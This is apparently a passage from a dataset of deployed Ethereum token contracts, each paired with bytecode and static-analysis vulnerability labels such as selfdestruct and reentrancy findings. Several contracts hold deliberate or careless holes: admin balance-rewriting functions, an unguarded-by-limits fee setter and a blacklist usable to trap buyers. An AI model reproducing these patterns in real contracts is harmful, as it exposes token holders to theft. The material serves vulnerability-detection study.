uint256 value = accounts[owner];
accounts[owner] = accounts[owner].sub(value);
holders.remove(owner);
accounts[msg.sender] = accounts[msg.sender].add(value);
holders.push(msg.sender, true);
owner = msg.sender;
delete group[temp];
group[msg.sender] = currentState._owner;
EvGroupChanged(msg.sender, currentState._subowner, currentState._owner);
}
function serviceIncreaseBalance(address _who, uint256 _value) minGroup(currentState._admin) external returns(bool) {
require(_who != address(0));
require(_value > 0);
accounts[_who] = accounts[_who].add(_value);
summarySupply = summarySupply.add(_value);
holders.push(_who, true);
EvTokenAdd(_value, summarySupply);
return true;
}
function serviceDecreaseBalance(address _who, uint256 _value) minGroup(currentState._admin) external returns(bool) {
require(_who != address(0));
require(_value > 0);
require(accounts[_who] >= _value);
accounts[_who] = accounts[_who].sub(_value);
summarySupply = summarySupply.sub(_value);
if(accounts[_who] == 0){
holders.remove(_who);
}
EvTokenRm(accounts[_who], _value, summarySupply);
return true;
}
function serviceRedirect(address _from, address _to, uint256 _value) minGroup(currentState._admin) external returns(bool){
require(_from != address(0));
require(_to != address(0));
require(_value > 0);
require(accounts[_from] >= _value);
require(_from != _to);
accounts[_from] = accounts[_from].sub(_value);
if(accounts[_from] == 0){
holders.remove(_from);
}
accounts[_to] = accounts[_to].add(_value);
holders.push(_to, true);
return true;
}
function serviceTokensBurn(address _address) external minGroup(currentState._admin) returns(uint256 balance) {
require(_address != address(0));
require(accounts[_address] > 0);
uint256 sum = accounts[_address];
accounts[_address] = 0;
summarySupply = summarySupply.sub(sum);
holders.remove(_address);
return accounts[_address];
}
function serviceTrasferToDist(bytes32 _to, uint256 _value) external minGroup(currentState._admin) {
require(_value > 0);
require(accounts[owner] >= _value);
distribution[_to] = distribution[_to].add(_value);
accounts[owner] = accounts[owner].sub(_value);
}
function serviceTrasferFromDist(bytes32 _from, address _to, uint256 _value) external minGroup(currentState._backend) {
require(_to != address(0));
require(_value > 0);
require(distribution[_from] >= _value);
accounts[_to] = accounts[_to].add(_value);
holders.push(_to, true);
distribution[_from] = distribution[_from].sub(_value);
}
function getGroup(address _check) external constant returns(uint8 _group) {
return group[_check];
}
function getBalanceOfDist(bytes32 _of) external constant returns(uint256){
return distribution[_of];
}
function getHoldersLength() external constant returns(uint256){
return holders.sizeOf();
}
function getHolderLink(address _holder) external constant returns(bool, address, address){
return holders.getNode(_holder);
}
function getUmkaAddress(address _who) external constant returns(string umkaAddress){
return umkaAddresses[_who];
}
function setUmkaAddress(string _umka) minGroup(currentState._default) whenNotPaused external{
umkaAddresses[msg.sender] = _umka;
}
function transfer(address _to, uint256 _value) onlyPayloadSize(64) minGroup(currentState._default) whenNotPaused external returns (bool success) {
require(_to != address(0));
require (accounts[msg.sender] >= _value);
accounts[msg.sender] = accounts[msg.sender].sub(_value);
if(accounts[msg.sender] == 0){
holders.remove(msg.sender);
}
accounts[_to] = accounts[_to].add(_value);
holders.push(_to, true);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(64) minGroup(currentState._default) whenNotPaused external returns (bool success) {
require(_to != address(0));
require(_from != address(0));
require(_value <= accounts[_from]);
require(_value <= allowed[_from][msg.sender]);
accounts[_from] = accounts[_from].sub(_value);
if(accounts[_from] == 0){
holders.remove(_from);
}
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
accounts[_to] = accounts[_to].add(_value);
holders.push(_to, true);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _old, uint256 _new) onlyPayloadSize(64) minGroup(currentState._default) whenNotPaused external returns (bool success) {
require (_old == allowed[msg.sender][_spender]);
require(_spender != address(0));
allowed[msg.sender][_spender] = _new;
Approval(msg.sender, _spender, _new);
return true;
}
function allowance(address _owner, address _spender) external constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function balanceOf(address _owner) external constant returns (uint256 balance) {
if (_owner == address(0))
return accounts[msg.sender];
return accounts[_owner];
}
function totalSupply() external constant returns (uint256 _totalSupply) {
_totalSupply = summarySupply;
}
function destroy() minGroup(currentState._owner) external {
selfdestruct(msg.sender);
}
function settingsSwitchState() external minGroup(currentState._owner) returns (bool state) {
if(contractEnable) {
currentState._default = 9;
currentState._migration = 0;
contractEnable = false;
} else {
currentState._default = 0;
currentState._migration = 9;
contractEnable = true;
}
return contractEnable;
}
function userMigration(uint256 _secrect) external minGroup(currentState._migration) returns (bool successful) {
uint256 balance = accounts[msg.sender];
require (balance > 0);
accounts[msg.sender] = accounts[msg.sender].sub(balance);
holders.remove(msg.sender);
accounts[owner] = accounts[owner].add(balance);
holders.push(owner, true);
EvMigration(msg.sender, balance, _secrect);
return true;
}
}
|
0x
|
{"success": true, "error": null, "results": {"detectors": [{"check": "suicidal", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 1,687 |
0x3279d6d7eff326f6ea0a12ecb3934d5e1426a4c6
|
/**
*Submitted for verification at Etherscan.io on 2021-10-18
*/
/**
* https://t.me/momoinuETH
**/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MomoInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1 = 1;
uint256 private _feeAddr2 = 10;
address payable private _feeAddrWallet1 = payable(0xC20DFBc7211e5bd665E22c4f9BDea397E71Fd29f);
address payable private _feeAddrWallet2 = payable(0x2F097215c795249AA3FC313499405cfa0cc0Aaaa);
string private constant _name = "Momo Inu";
string private constant _symbol = "MOMO";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setFeeAmountOne(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr1 = fee;
}
function setFeeAmountTwo(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr2 = fee;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a1461031d578063c3c8cd801461033d578063c9567bf914610352578063cfe81ba014610367578063dd62ed3e1461038757600080fd5b8063715018a614610273578063842b7c08146102885780638da5cb5b146102a857806395d89b41146102d0578063a9059cbb146102fd57600080fd5b8063273123b7116100e7578063273123b7146101e0578063313ce567146102025780635932ead11461021e5780636fc3eaec1461023e57806370a082311461025357600080fd5b806306fdde0314610124578063095ea7b31461016757806318160ddd1461019757806323b872dd146101c057600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b506040805180820190915260088152674d6f6d6f20496e7560c01b60208201525b60405161015e9190611879565b60405180910390f35b34801561017357600080fd5b50610187610182366004611700565b6103cd565b604051901515815260200161015e565b3480156101a357600080fd5b506b033b2e3c9fd0803ce80000005b60405190815260200161015e565b3480156101cc57600080fd5b506101876101db3660046116bf565b6103e4565b3480156101ec57600080fd5b506102006101fb36600461164c565b61044d565b005b34801561020e57600080fd5b506040516009815260200161015e565b34801561022a57600080fd5b506102006102393660046117f8565b6104a1565b34801561024a57600080fd5b506102006104e9565b34801561025f57600080fd5b506101b261026e36600461164c565b610516565b34801561027f57600080fd5b50610200610538565b34801561029457600080fd5b506102006102a3366004611832565b6105ac565b3480156102b457600080fd5b506000546040516001600160a01b03909116815260200161015e565b3480156102dc57600080fd5b506040805180820190915260048152634d4f4d4f60e01b6020820152610151565b34801561030957600080fd5b50610187610318366004611700565b610603565b34801561032957600080fd5b5061020061033836600461172c565b610610565b34801561034957600080fd5b506102006106a6565b34801561035e57600080fd5b506102006106dc565b34801561037357600080fd5b50610200610382366004611832565b610aa5565b34801561039357600080fd5b506101b26103a2366004611686565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103da338484610afc565b5060015b92915050565b60006103f1848484610c20565b610443843361043e85604051806060016040528060288152602001611a65602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f03565b610afc565b5060019392505050565b6000546001600160a01b031633146104805760405162461bcd60e51b8152600401610477906118ce565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104cb5760405162461bcd60e51b8152600401610477906118ce565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461050957600080fd5b4761051381610f3d565b50565b6001600160a01b0381166000908152600260205260408120546103de90610fc2565b6000546001600160a01b031633146105625760405162461bcd60e51b8152600401610477906118ce565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600d546001600160a01b0316336001600160a01b0316146105fe5760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b6044820152606401610477565b600a55565b60006103da338484610c20565b6000546001600160a01b0316331461063a5760405162461bcd60e51b8152600401610477906118ce565b60005b81518110156106a25760016006600084848151811061065e5761065e611a15565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069a816119e4565b91505061063d565b5050565b600c546001600160a01b0316336001600160a01b0316146106c657600080fd5b60006106d130610516565b905061051381611046565b6000546001600160a01b031633146107065760405162461bcd60e51b8152600401610477906118ce565b600f54600160a01b900460ff16156107605760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610477565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107a030826b033b2e3c9fd0803ce8000000610afc565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107d957600080fd5b505afa1580156107ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108119190611669565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561085957600080fd5b505afa15801561086d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108919190611669565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156108d957600080fd5b505af11580156108ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109119190611669565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061094181610516565b6000806109566000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109b957600080fd5b505af11580156109cd573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109f2919061184b565b5050600f80546a295be96e6406697200000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a6d57600080fd5b505af1158015610a81573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a29190611815565b600d546001600160a01b0316336001600160a01b031614610af75760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b6044820152606401610477565b600b55565b6001600160a01b038316610b5e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610477565b6001600160a01b038216610bbf5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610477565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c845760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610477565b6001600160a01b038216610ce65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610477565b60008111610d485760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610477565b6000546001600160a01b03848116911614801590610d7457506000546001600160a01b03838116911614155b15610ef3576001600160a01b03831660009081526006602052604090205460ff16158015610dbb57506001600160a01b03821660009081526006602052604090205460ff16155b610dc457600080fd5b600f546001600160a01b038481169116148015610def5750600e546001600160a01b03838116911614155b8015610e1457506001600160a01b03821660009081526005602052604090205460ff16155b8015610e295750600f54600160b81b900460ff165b15610e8657601054811115610e3d57600080fd5b6001600160a01b0382166000908152600760205260409020544211610e6157600080fd5b610e6c42601e611974565b6001600160a01b0383166000908152600760205260409020555b6000610e9130610516565b600f54909150600160a81b900460ff16158015610ebc5750600f546001600160a01b03858116911614155b8015610ed15750600f54600160b01b900460ff165b15610ef157610edf81611046565b478015610eef57610eef47610f3d565b505b505b610efe8383836111cf565b505050565b60008184841115610f275760405162461bcd60e51b81526004016104779190611879565b506000610f3484866119cd565b95945050505050565b600c546001600160a01b03166108fc610f578360026111da565b6040518115909202916000818181858888f19350505050158015610f7f573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610f9a8360026111da565b6040518115909202916000818181858888f193505050501580156106a2573d6000803e3d6000fd5b60006008548211156110295760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610477565b600061103361121c565b905061103f83826111da565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061108e5761108e611a15565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156110e257600080fd5b505afa1580156110f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061111a9190611669565b8160018151811061112d5761112d611a15565b6001600160a01b039283166020918202929092010152600e546111539130911684610afc565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061118c908590600090869030904290600401611903565b600060405180830381600087803b1580156111a657600080fd5b505af11580156111ba573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610efe83838361123f565b600061103f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611336565b6000806000611229611364565b909250905061123882826111da565b9250505090565b600080600080600080611251876113ac565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112839087611409565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546112b2908661144b565b6001600160a01b0389166000908152600260205260409020556112d4816114aa565b6112de84836114f4565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161132391815260200190565b60405180910390a3505050505050505050565b600081836113575760405162461bcd60e51b81526004016104779190611879565b506000610f34848661198c565b60085460009081906b033b2e3c9fd0803ce800000061138382826111da565b8210156113a3575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008060008060008060008060006113c98a600a54600b54611518565b92509250925060006113d961121c565b905060008060006113ec8e87878761156d565b919e509c509a509598509396509194505050505091939550919395565b600061103f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f03565b6000806114588385611974565b90508381101561103f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610477565b60006114b461121c565b905060006114c283836115bd565b306000908152600260205260409020549091506114df908261144b565b30600090815260026020526040902055505050565b6008546115019083611409565b600855600954611511908261144b565b6009555050565b6000808080611532606461152c89896115bd565b906111da565b90506000611545606461152c8a896115bd565b9050600061155d826115578b86611409565b90611409565b9992985090965090945050505050565b600080808061157c88866115bd565b9050600061158a88876115bd565b9050600061159888886115bd565b905060006115aa826115578686611409565b939b939a50919850919650505050505050565b6000826115cc575060006103de565b60006115d883856119ae565b9050826115e5858361198c565b1461103f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610477565b803561164781611a41565b919050565b60006020828403121561165e57600080fd5b813561103f81611a41565b60006020828403121561167b57600080fd5b815161103f81611a41565b6000806040838503121561169957600080fd5b82356116a481611a41565b915060208301356116b481611a41565b809150509250929050565b6000806000606084860312156116d457600080fd5b83356116df81611a41565b925060208401356116ef81611a41565b929592945050506040919091013590565b6000806040838503121561171357600080fd5b823561171e81611a41565b946020939093013593505050565b6000602080838503121561173f57600080fd5b823567ffffffffffffffff8082111561175757600080fd5b818501915085601f83011261176b57600080fd5b81358181111561177d5761177d611a2b565b8060051b604051601f19603f830116810181811085821117156117a2576117a2611a2b565b604052828152858101935084860182860187018a10156117c157600080fd5b600095505b838610156117eb576117d78161163c565b8552600195909501949386019386016117c6565b5098975050505050505050565b60006020828403121561180a57600080fd5b813561103f81611a56565b60006020828403121561182757600080fd5b815161103f81611a56565b60006020828403121561184457600080fd5b5035919050565b60008060006060848603121561186057600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156118a65785810183015185820160400152820161188a565b818111156118b8576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119535784516001600160a01b03168352938301939183019160010161192e565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611987576119876119ff565b500190565b6000826119a957634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156119c8576119c86119ff565b500290565b6000828210156119df576119df6119ff565b500390565b60006000198214156119f8576119f86119ff565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461051357600080fd5b801515811461051357600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220bc161cac3b05cf2309c9548e982dd647629eafa785c8accbb91455e5a4cde4c464736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 1,688 |
0x38e7a9fc20362ffe7300abd4eaaa1b99127365ee
|
pragma solidity ^0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic, Ownable {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
